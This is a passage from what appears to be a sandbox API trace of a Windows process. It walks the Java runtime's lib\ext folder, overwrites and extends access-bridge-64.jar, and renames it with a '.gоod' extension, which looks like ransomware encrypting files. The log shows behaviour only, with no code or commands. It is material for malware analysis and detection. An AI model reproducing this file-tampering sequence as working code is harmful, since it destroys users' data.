hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0104.310] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.311] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0104.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0104.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0104.311] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext", lpFilePart=0x0) returned 0x2a [0104.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x0, dwReserved1=0x0, cFileName="cldrdata.jar", cAlternateFileName="")) returned 1 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0104.313] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nashorn.jar", cAlternateFileName="")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0104.314] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7fbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0104.315] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0104.315] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0104.315] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0104.315] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bd30) returned 1 [0104.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcf0) returned 1 [0104.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0104.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0104.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), fInfoLevelId=0x0, lpFileInformation=0x32a2b80 | out: lpFileInformation=0x32a2b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78)) returned 1 [0105.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0105.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0105.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.099] GetFileType (hFile=0x768) returned 0x1 [0105.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.099] GetFileType (hFile=0x768) returned 0x1 [0105.099] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0105.099] ReadFile (in: hFile=0x768, lpBuffer=0x34a3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x34a3858*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0105.100] CloseHandle (hObject=0x768) returned 1 [0105.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0105.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.101] GetFileType (hFile=0x768) returned 0x1 [0105.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.101] GetFileType (hFile=0x768) returned 0x1 [0105.101] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x2de78 [0105.101] WriteFile (in: hFile=0x768, lpBuffer=0x34a4af0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x34a4af0*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0105.101] CloseHandle (hObject=0x768) returned 1 [0105.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0105.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.102] GetFileType (hFile=0x768) returned 0x1 [0105.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.102] GetFileType (hFile=0x768) returned 0x1 [0105.102] ReadFile (in: hFile=0x768, lpBuffer=0x34a6db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x34a6db0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0105.243] CloseHandle (hObject=0x768) returned 1 [0105.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0105.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.244] GetFileType (hFile=0x768) returned 0x1 [0105.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.244] GetFileType (hFile=0x768) returned 0x1 [0105.244] WriteFile (in: hFile=0x768, lpBuffer=0x332eab8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x332eab8*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0105.244] CloseHandle (hObject=0x768) returned 1 [0105.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", lpFilePart=0x0) returned 0x3f [0105.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.gоod", lpFilePart=0x0) returned 0x44 [0105.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0105.244] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3af0fe31, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2de88)) returned 1 [0105.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0105.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.gоod")) returned 1 [0105.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0105.246] GetFileAttributesExW (in: lpFileName="C:\\Program 